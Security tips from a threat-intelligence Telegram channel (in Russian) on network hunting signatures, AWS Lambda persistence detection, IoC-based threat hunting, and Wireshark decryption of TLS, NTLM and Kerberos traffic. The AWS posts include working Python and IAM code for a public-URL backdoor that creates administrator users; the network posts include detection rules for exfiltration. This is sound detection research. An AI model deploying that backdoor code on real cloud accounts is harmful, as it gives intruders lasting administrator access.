ESCalator
6.56K subscribers
477 photos
1 video
18 files
190 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
Длинная, странная, но рабочая
🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊🍊

Не всегда то, что мы исследуем, оказывается сложными атаками со стороны серьезных групп. Бывает, что атаки только кажутся сложными. Об одной из таких мы рассказываем в нашем блоге.

В ходе анализа был обнаружен ряд атак, в которых злоумышленники хранили промежуточные скрипты и слитые данные жертв прямо в публичных репозиториях GitHub. Активность зафиксирована с сентября 2024 по апрель 2025. Эти атаки выделяются своей структурой: длинные цепочки простых скриптов, созданных, судя по стилю кода и комментариям, с использованием ИИ.

Несмотря на кажущуюся примитивность, они эффективно собирали данные жертв, включая системную информацию, скриншоты и файлы Telegram, а затем отправляли их в репозитории GitHub. При этом атакующие использовали легитимные PDF-файлы в качестве приманки и маскировали свои действия, запуская скрипты в скрытом режиме.

Посмотреть комментарии ИИ в коде можно в нашем блоге на Хабре 🫲

#TI #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
15🔥12👍8😁3
Как создать правила для сетевого трафика под будущую угрозу 🤨

Об этом на этой неделе в Китае во время третьего саммита по кибербезопасности, в рамках которого прошла шестая международная антивирусная конференция, рассказала Ксения Наумова, старший специалист отдела сетевой экспертизы антивирусной лаборатории PT ESC. В канале делимся подробностями из доклада 🍸

Достаточно значимая часть работы аналитика сетевого трафика при анализе вредоносного ПО заключается в написании детектирующей сигнатурной логики для обнаружения конкретных образцов ВПО в сетевом трафике.

Экзактовые сигнатуры обладают одним несомненным преимуществом — они ловят ровно те вредоносные образцы, на которые были написаны, но это же является их главной слабостью: при даже небольшом изменении какого-либо компонента сетевого взаимодействия правила перестают срабатывать.

Мы решили, что этот недуг можно смело обернуть в преимущество: сигнатуры могут ловить не только экзактовые вредоносы, но и аномальное поведение, которое эти образцы порождают.

Что может являться интересующей нас аномалией?

➡️ Необычные размеры пакетов;
➡️ неизвестные протоколы;
➡️ подозрительные DNS-запросы / подозрительные TLD в DNS;
➡️ скачки трафика / задержки;
➡️ нарушения RFC;
➡️ применение обфускации, кодирования, шифрования;
➡️ и многое другое…

Мы провели небольшой анализ существующих правил на детектирование аномалий в наборе опенсорсных сигнатур Emerging Threats — HUNTING (скриншот 1):

➡️ ~510 правил на XOR-шифрование HTTP-запросов;
➡️ ~50 правил на кодированные в Base64 данные;
➡️ ~50 правил на подозрительные TLD в DNS;
➡️ правила на содержимое в ZIP, эксфильтрацию и т. п.

Показательный пример удачного hunting-правила:

alert http $HOME_NET any -> $EXTERNAL_NET any (sid: 2027117; msg:"ET HUNTING Suspicious POST with Common Windows Process Names - Possible Process List Exfiltration"; flow:established,to_server; http.method; content:"POST"; http.request_body; content:"csrss.exe"; content:"explorer.exe"; fast_pattern; content:"svchost.exe"; content:"lsass.exe"; ...)


А на скриншоте 2 — пример такого подозрительного трафика.

Однако искать аномалии можно не только с помощью открытых правил, но и самостоятельно — например, нарушения RFC, конкретно RFC 2616, определяющего протокол HTTP (скриншот 3). Можно поискать HTTP-запросы, у которых заголовок Referer не содержит схему:

alert http any any -> any any (msg: "SUSPICIOUS [PTsecurity] HTTP header Referer RFC2616 violation"; flow: established, to_server; content: "Referer|3a|"; http_header; content: !"Referer|3a 20|http"; http_header; ...)


В наши сети попадал бэкдор EAGERBEE и другие интересные образцы (скриншот 4).

Или, например, можно поискать простую команду PING внутри GZIP (скриншот 5):

alert tcp any any -> any any (msg: "SUSPICIOUS [PTsecurity] Generic Ping command inside Gzip"; flow: established, to_server; content: "|1f 8b 08 00 00 00 00 00 04 00 0b c8 cc 4b 07 00 c3 92 e7 85 04 00 00 00|"; ...)


По итогам срабатываний и дальнейших исследований к нам попадали SheetRAT и zgRAT (скриншот 6).

Но основная мысль, зафиксированная в докладе, — в использовании корреляции их сработок. Корреляция сработок — понятие не новое, но в контексте сетевого трафика его пока применяют крайне редко; иногда уходят в более сложные реализации защиты и забывают о простых, но действенных подходах.

🫵 Выводы простые: generic-правила, особенно в корреляции друг с другом, могут значительно помогать в детектировании как давно известных, так и абсолютно новых угроз, о которых пока никто не знает. Можно пользоваться открытыми наборами сетевых сигнатур — ET Open, PT Open, а можно смело писать свои.

Happy hunting!

#suricata #network #signature #rules #hunt #detect
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥2110👍7🤩1
☁️ AWS-бэкдор как услуга: закрепление в облаке через Lambda

Ландшафт облачных угроз постоянно эволюционирует, и атакующие все чаще используют легитимные сервисы для своих целей. Наше внимание привлекла техника закрепления в AWS, известная как persistence as a service и использующая связку AWS Lambda и API Gateway. Решили в своей тестовой лаборатории AWS в точности воспроизвести эту атаку, чтобы изучить ее цифровой след и понять, как ее можно эффективно обнаружить.

🎯 Суть атаки

Злоумышленник, получив первоначальный доступ к аккаунту, создает механизм, который позволяет ему возвращаться в систему даже после того, как его украденные учетные данные будут заблокированы.

Как это работает:

1. Создается Lambda-функция, способная программно создавать новых IAM-пользователей с правами администратора.

2. С помощью Amazon API Gateway создается публичный HTTP-URL-адрес, для доступа к которому не требуется аутентификация.

3. API Gateway настраивается так, что любой запрос на этот URL автоматически запускает созданную Lambda-функцию.

В результате у атакующего появляется «бэкдор как услуга». Ему больше не нужны украденные ключи, достаточно просто перейти по ссылке, чтобы мгновенно получить новые учетные данные администратора.

⚙️ Воссоздание атаки

В тестовой среде атака состояла из трех основных этапов: подготовка прав, создание вредоносного кода и открытие доступа извне.

1️⃣ Создание роли для Lambda-функции

Сначала создали политику (назвали ее LambdaCreateUserPolicy), которая дает права на создание пользователя, создание ключей доступа и прикрепление политики администратора (чтобы наш бэкдор-пользователь был всемогущим).

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"iam:CreateUser",
"iam:CreateAccessKey",
"iam:AttachUserPolicy"
],
"Resource": "*"
}
]
}


Далее создали IAM-роль, которая даст будущей функции права на создание пользователей и управление правами:

Trusted entity type: AWS service
Use case: Lambda
• Прикрепляем ранее созданную политику LambdaCreateUserPolicy
• Название роли: lambda-backdoor-role

2️⃣ Создание Lambda-функции

Затем создаем саму Lambda-функцию на Python, которая:

• генерирует уникальное имя пользователя на основе текущей даты и времени;
• создает этого пользователя;
• прикрепляет к нему политику AdministratorAccess;
• генерирует для него ключи доступа Access Keys;
• возвращает эти ключи в виде JSON-ответа.

Это позволяет атакующему при каждом вызове получать свежие уникальные учетные данные. Вот параметры тестового скрипта:

Function name, в нашем случае create-backdoor-user-poc
Runtime: Python 3.12
Execution role: указали на ранее созданную роль lambda-backdoor-role

import json
import boto3
from datetime import datetime, timezone
def lambda_handler(event, context):
iam = boto3.client('iam')
timestamp = datetime.now(timezone.utc).strftime('%Y%m%d-%H%M%S')
username = f'backdoor-user-{timestamp}'
policy_arn = 'arn:aws:iam::aws:policy/AdministratorAccess'
try:
iam.create_user(UserName=username)
iam.attach_user_policy(UserName=username, PolicyArn=policy_arn)
response = iam.create_access_key(UserName=username)
credentials = {
"AccessKeyId": response['AccessKey']['AccessKeyId'],
"SecretAccessKey": response['AccessKey']['SecretAccessKey'],
"UserName": username
}
return {
'statusCode': 200,
'body': json.dumps(credentials, indent=2)
}
except Exception as e:
return {
'statusCode': 500,
'body': json.dumps(str(e))
}


⬇️ Следующие шаги в посте ниже.

#detect #tip #reverse
@ptescalator
🔥15👍5👏42😁1
Продолжаем воспроизводить атаку из поста выше 🔼

3️⃣ Создаем публичный триггер API Gateway (скриншот 1)

В конце надо выставить функцию в интернет. Добавили к Lambda-функции триггер типа API Gateway, указав в настройках Security: Open. Создается публичный URL, который и стал бэкдором. Он будет выглядеть примерно так:

https://abcdef123.execute-api.eu-central-1.amazonaws.com/default/create-backdoor-user-poc


Примечание: так как холодный старт и три API-вызова могут занимать заметное время, мы увеличили тайм-аут Lambda-функции со стандартных 3 до 15 секунд.

4️⃣ Исполнение атаки

Теперь достаточно просто перейти по URL, сгенерированному API Gateway. В ответ браузер получает JSON со свежими учетными данными нового администратора (скриншот 2):

{
"AccessKeyId": "AKIAS22MVUU75MYRNT3U",
"SecretAccessKey": "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",
"UserName": "backdoor-user-20250921-155854"
}


При проверке результата в AWS видим только что созданного пользователя с прикрепленной политикой AdministratorAccess (скриншот 3).

👣 Цифровой след

Анализ логов AWS CloudTrail показал, что для надежного детектирования нужно отслеживать всю цепочку событий.

1️⃣ Событие CreateRole (создание роли для Lambda)

На первом этапе в логах появляется событие создания IAM-роли с говорящим названием lambda-backdoor-role, предназначенной для сервиса Lambda. Само по себе это действие не вредоносное, но именно с него начинается цепочка.

eventName: CreateRole — само действие.
requestParameters.roleName: lambda-backdoor-role — имя роли.
userIdentity.userName — кто именно создал эту роль.

2️⃣ Событие CreateFunction (создание Lambda-функции)

Далее мы видим, что к новой функции create-backdoor-user-poc привязывается та самая роль, которую создали на первом шаге (requestParameters.role).

eventName: CreateFunction20150331 — действие по созданию функции.
requestParameters.functionName: create-backdoor-user-poc — имя функции.
requestParameters.role: arn:aws:iam::***:role/lambda-backdoor-role — показывает, что к новой функции привязывается та самая роль, которую создали на первом шаге.

3️⃣ Событие CreateApi (создание триггера API Gateway)

Здесь создается публичный API. Ключевым индикатором в логе является поле userIdentity.invokedBy со значением AWS Internal и requestParameters.description, равное Created by AWS Lambda. Это говорит о том, что API был создан автоматически через интерфейс Lambda, что характерно для этой атаки.

4️⃣ Событие CreateUser (создание бэкдор-пользователя)

В логе мы видим событие создания нового пользователя, но в поле userIdentity.sessionContext.sessionIssuer.userName указано имя нашей роли lambda-backdoor-role. Это аномалия: сервисная роль внезапно начала создавать пользователей.

eventName: CreateUser — само действие.
userIdentity.type: AssumedRole — указывает, что действие выполнено не напрямую пользователем, а ролью.
userIdentity.sessionContext.sessionIssuer.userName: lambda-backdoor-role — пользователем-инициатором является не человек, а сервисная роль Lambda. Это аномалия.
requestParameters.userName: backdoor-user-20250921-155854 — имя созданного пользователя.
• В самом низу объекта userIdentity есть специальный блок inScopeOf. Поле "issuerType": "AWS::Lambda::Function" — это говорит, что временные учетные данные, использованные для этого API-вызова, были выданы именно Lambda-функции.
• Еще одним очень сильным индикатором является userAgent: наличие подстроки exec-env/AWS_Lambda. Строка добавляется средой выполнения Lambda и показывает, что код, совершивший API-вызов, был исполнен именно в окружении Lambda.

Если пост соберет три лайка, то в следующем поделимся идеей для правила корреляции в SIEM 😉

#detect #tip #reverse
@ptescalator
🔥28👍11👏86
Идея для правила корреляции в SIEM 💡

Хотя отслеживание всей цепочки атаки, описанной в постах выше, дает полную картину, самым сильным и простым для реализации сигналом является само событие создания пользователя.

ЕСЛИ eventName = CreateUser И userIdentity указывает на роль Lambda-функции (userIdentity.inScopeOf.issuerType = AWS::Lambda::Function),
ТО сгенерировать алерт высокого приоритета.

Учитывая, что создание пользователей Lambda-функциями является крайне редким и аномальным поведением, такое правило будет иметь очень низкий уровень ложных срабатываний.

Sigma-правило:

title: Suspicious IAM User Creation by AWS Lambda Function
id: 700feb27-05a5-4ba1-ae80-2c8d0d3591eb
status: test
description: >-
Detects the creation or modification of an IAM user/credentials where the action is initiated by an AWS Lambda function's execution role.
This is a highly anomalous behavior and a key indicator of the "Persistence-as-a-Service" technique,
where an attacker uses a Lambda function (often exposed via an open API Gateway) to create backdoor users.
references:
- https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/
author: 'PT ESC'
date: '2025/09/20'
logsource:
product: aws
service: cloudtrail
detection:
selection:
eventName:
- CreateUser
- CreateAccessKey
- AttachUserPolicy
- UpdateLoginProfile
userIdentity.inScopeOf.issuerType: 'AWS::Lambda::Function'
condition: selection
falsepositives:
- Legitimate workflows that use Lambda to automatically create users (e.g., a custom registration portal). These functions should be added to the exceptions.
level: high


Этот эксперимент еще раз доказал, что мониторинг действий самих сервисов (а не только пользователей) — ключ к безопасности в облаке. А с какими еще техниками закрепления в облаке сталкивались вы?

#detect #tip #sigma #reverse
@ptescalator
🔥12👍10👏62
Используем IoC нестандартно. Часть 1. Threat hunting 🧐

Говоря об индикаторах компрометации, мы обычно имеем в виду реактивный подход к защите: на СЗИ появился детект на плохой IP-адрес, и мы его заблокировали. Безусловно, это важный момент, однако это борьба со следствиями.

В этом посте обсудим нереактивные сценарии использования индикаторов компрометации, а именно — как искать угрозы, которые уже случились, но которых мы не заметили, и как использовать данные индикаторов для прогнозирования будущих атак.

Представим, что злоумышленник уже проник в сеть организации и находится там какое-то время. Он мог не использовать известные нам индикаторы компрометации, что означает, что мы его пропустили. Что с этим можно сделать? Ну, например, использовать методы threat hunting. В этом случае IoC будут выступать не как детектирующие признаки, а как отправные точки для расследования.

В качестве примера рассмотрим два способа использования индикаторов компрометации для threat hunting.

➡️ Использовать IoC как основу для поиска угроз

Это самый прямой способ. Например, вы получаете свежий фид с индикаторами компрометации и видите среди них те, что связаны с интересующей вас группировкой. Для начала можно взять только эти индикаторы и поискать их упоминание в логах СЗИ.

Если ничего интересного найти не удалось, следует обратить внимание на индикаторы, связанные с теми, по которым вы искали ранее: по ним также полезно провести поиск. Ну и, наконец, можно воспользоваться не только индикаторами компрометации, но и связанными с ними (или самой хакерской группировкой) индикаторами атак. На их основе хорошо строить гипотезы и проверять их реализацию в логах СЗИ.

Пример гипотезы: «Некая группа использует троян, исполняемый файл которого часто маскируется под легитимные системные процессы. Давайте поищем в нашей сети процессы с именами, похожими на dllhost.exe, svchost.exe, но запущенные из временных папок пользователей (%TEMP%, %APPDATA%), и проверим их хеши и сетевую активность».


➡️ Использовать IoC как основу для построения профиля злоумышленника

Вместо того чтобы искать конкретный индикатор, мы можем искать «почерк» хакерской группировки. Как и в первом способе, мы можем собрать перечень индикаторов интересующей нас группировки и проанализировать их контекст. Зачастую в фидах можно найти связи индикатора с техниками MITRE ATT&CK, которые могут подсказать с какой вредоносной активностью может столкнуться специалист по ИБ.

Соответственно, получив из таких индикаторов перечень техник, мы сможем понять какие способы реализации угроз использует конкретный злоумышленник. Далее с помощью тех же фидов либо уже с помощью матрицы MITRE ATT&CK получаем процедуры для тех или иных техник, составляем гипотезы и проверяем их.

Пример гипотезы:
«Собрав текущий набор индикаторов компрометации, связанных с некой группировкой, обнаружили, что для перемещения по сети она злоупотребляет утилитой Windows Management Instrumentation (WMI). Проанализируем логи на предмет аномального использования WMI-провайдеров, особенно в нерабочее время или с непривилегированных учетных записей».


Таким образом, можно сказать, что IoC могут дать начало поиску угроз и полноценному расследованию инцидентов. При этом работа с ними позволяет запустить множество гипотез и найти то, чего вы бы не нашли, просто просматривая детекты 🤔

#ioc #detect #tip
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1512👍10🥴4🆒1
Мы тут готовим годовую аналитику по инцидентам. По вашему опыту, что чаще всего используют хакеры для Command and Control? 🤔
Anonymous Poll
14%
Metasploit 🛡
2%
Revsocks 😏
10%
Ngrok 🔡
6%
PuTTY 😎
13%
gsocket 👨‍💻
8%
Sliver 🙃
12%
OpenSSH 🐡
2%
LocalToNet 💻
26%
Cobalt Strike 🔫
7%
Chisel 😎
🤓13👀7👍65
🦈 Смотрим под капот защищенных соединений в Wireshark. Часть 1: TLS

Нашим сетевым экспертам часто бывает нужно расшифровывать трафик TLS-соединений и проанализировать защищенное содержимое. Современные алгоритмы TLS уже очень давно используют схему Ephemeral Diffie–Hellman (EDH), которая не позволяет расшифровывать TLS-сессии закрытым ключом RSA.

Теперь для расшифровки необходимо собирать так называемые сессионные ключи (session keys) средствами самого TLS-клиента или сервера. И за много лет мы собрали несколько лайфхаков, которые работают для большинства анализируемых приложений. Поехали!

1️⃣ Браузеры и консольные утилиты

Для расшифровки браузерных TLS-сессий или консольных утилит, например curl, необходимо установить переменную окружения SSLKEYLOG. Это делается при помощи команды export SSLKEYLOGFILE=/path/to/keylog.log для Linux-систем или через переменные среды (скриншоты 1 и 2) в системах Windows. Теперь браузеры и утилиты будут сохранять сессионные ключи в указанном файле.

2️⃣ Приложения на Go

Настройка дампа ключей в подобных приложениях потребует небольшого патча. Необходимо либо добавить эти строки в код самого приложения (пример).

w, err := os.OpenFile("/path/to/SSLKEYLOGFILE", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
config := &tls.Config{KeyLogWriter: w}


Либо, если в файле явно не определяется tls config, но в самой программе или в библиотеке используется стандартная библиотека crypto/go, можно задать sslkeylog-файл прямо в ней. Мы привели пример diff-файла (common_go.diff) для go version go1.24.4 linux/amd64. После этого достаточно задать путь к keylog-файлу в переменной окружения SSLKEYLOGFILE:

export SSLKEYLOGFILE=/path/to/keylog.log


3️⃣ Приложения на Python

Настройка дампа ключей также работает через установку переменной окружения SSLKEYLOGFILE:

export SSLKEYLOGFILE=/path/to/keylog.log
python main.py


4️⃣ Приложения на Node.js

Необходимо просто запустить приложение с ключом tls-keylog

node --tls-keylog=/path/to/keylog.log program.js


Либо задать переменную окружения NODE_OPTIONS и запустить программу в той же консоли:

export NODE_OPTIONS=--tls-keylog=/path/to/keylog.log


5️⃣ Xray Core

Другие проприетарные приложения могут использовать свои собственные параметры для дампа сессионных ключей. Особенно те, которые реализуют TLS-соединения по-своему. Xray — это целый фреймворк, который поддерживает множество VPN-протоколов, включая VMess, VLESS и XTLS. Благодаря разработчикам ядра Xray собрать сессионные ключи не составит труда. Нужно всего лишь добавить ключ masterKeyLog в конфигурацию исходящего (outbound) подключения.

"realitySettings": {
"serverName": "yahoo.com",
"publicKey": "publicKey",
"shortId": "shortId",
"fingerprint": "chrome",
"spiderX": "/",
"masterKeyLog": "/path/to/keylog"
}


Большинство конфигураций Xray задается при помощи URL, для добавления ключа необходимо поправить JSON-конфигурацию внутри клиента или сервера уже после добавления ключа.

Как использовать полученные session keys

Чтобы расшифровать TLS-сессию в Wireshark, необходимо открыть Edit → Preferences, затем в настройках протокола TLS выбрать файл Master-Secret log filename (скриншот 3, результат на скриншоте 4).

☠️ Ну а в следующей части мы расскажем о расшифровке зашифрованного содержимого протоколов SMB/LDAP/DCERPC с NTLM- и Kerberos-аутентификацией.

Делитесь вашими собственными лайфхаками в комментариях ⬇️

#dfir #tip #tls #network
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥44👍19👏82👎1🥰1😁1🆒1
🦈 Смотрим «под капот» защищенных соединений в Wireshark. Часть 2: протоколы Windows

В первой части мы разбирали декрипт TLS-соединений, которые часто используются в интернете. Но если переместиться внутрь корпоративной среды, там будут преобладать другие протоколы — SMB, LDAP и DCERPC, — и все они имеют функцию шифрования содержимого своих запросов.

Например, эта функция появилась в протоколе SMB версии 3, для большинства DCERPC-соединений используется уровень аутентификации Packet Privacy, а сообщения протокола LDAP шифруются при включенной подписи (LDAP Signing).

У них есть кое-что общее: ключ шифрования Session Key в конечном счете генерируется на основе пароля учетной записи пользователя или ключа учетной записи устройства. Правда, сам алгоритм дешифрования сильно отличается в зависимости от протокола (NTLM или Kerberos).

1️⃣ NTLM-аутентификация

Самый простой случай: для расшифрования нам понадобится только пароль пользователя. Чтобы указать его в Wireshark, необходимо открыть Edit → Preferences, затем в параметрах протокола NTLMSSP вписать пароль в поле NT Password. Теперь рядом с зашифрованными блоками появятся расшифрованные (скриншот 1).

2️⃣ Kerberos

Для расшифрования сессий с аутентификацией Kerberos необходим пароль либо учетной записи пользователя, либо сервисной учетной записи, поскольку оба эти пароля участвуют в формировании сессионного ключа. По сути, нам сначала необходимо расшифровать значение сессионного ключа внутри Kerberos, а затем использовать его для декрипта SMB или других протоколов. Сначала необходимо сгенерировать keytab-файл.

Генерация keytab-файла по паролю пользователя

Из Kerberos-ответа AS-REP узнаем алгоритм шифрования и значение соли по формуле <REALM> + <cname>. В нашем случае они будут равны aes256-cts-hmac-sha1-96 и ATTDETT.STFo_walsh соответственно, причем важно обратить внимание на регистр (скр. 2).

С помощью Linux-утилиты kutils добавляем запись для нужного пользователя, используя команду addent с параметром -password. Параметры указываем как в команде ниже, причем параметр -k (Key Version Number, kvno) может быть любым числом. Сохраняем keytab при помощи команды wkt (скр. 3).

ktutil: addent -password -p o_walsh@ATTDETT.STF -k 2 -e aes256-cts-hmac-sha1-96


Генерация keytab-файла по ключу сервисной УЗ

Сессионный ключ в билете TGS может быть расшифрован также при помощи ключа сервисной учетной записи. Это полезно, если мы хотим расшифровывать соединение с сервисом любых пользователей. Пароль сервисных учетных записей, как правило, совпадает с паролем учетной записи устройства — он очень сложный и генерируется автоматически каждые 30 дней.

Из TGS-ответа так же достаем алгоритм шифрования и с помощью той же утилиты kutils добавляем запись. Разница лишь в том, что вместо пароля используем параметр -key с ключом сервисной учетной записи, получить который можно, например, с помощью скрипта secretsdump из фреймворка Impacket. Параметр -p (principal) для Wireshark неважен, можем указать любые значения -p и -k (скр. 4).

ktutil: addent -key -p something@RANDOM.RND -k 666 -e aes256-cts-hmac-sha1-96


Как использовать полученный keytab-файл?

В Wireshark включаем параметр Try to decrypt Kerberos blobs:

Edit → Preferences → Protocols → KRB5 → Try to decrypt Kerberos blobs

Чтобы указать keytab-файл в Wireshark, необходимо открыть Edit → Preferences, затем в параметрах протокола KRB5 выбрать файл Kerberos keytab file. Часть полей будут отображаться нерасшифрованными — это нормально. Затем приступаем к дешифровке SMB3.

SMB3

Нам понадобится тот самый сессионный ключ. Найти его можно в поле keyvalue в пакетах TGS-REP или AP-REQ. Затем берем один из интересующих нас пакетов SMB3 и копируем из хедера Session ID (как на скр. 5, 6).

Указываем сессионный ключ и Session ID в поле Secret session key в Wireshark в параметрах протокола SMB2:

Edit → Preferences → Protocols → SMB2 → Secret session key for decryption

Бинго! Получаем расшифрованный SMB3 (скр. 7). Тот же самый алгоритм работает и для дешифрования других протоколов (DCERPC, LDAP и т. д.).

#dfir #tip #network
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥198👍8💯2🙈1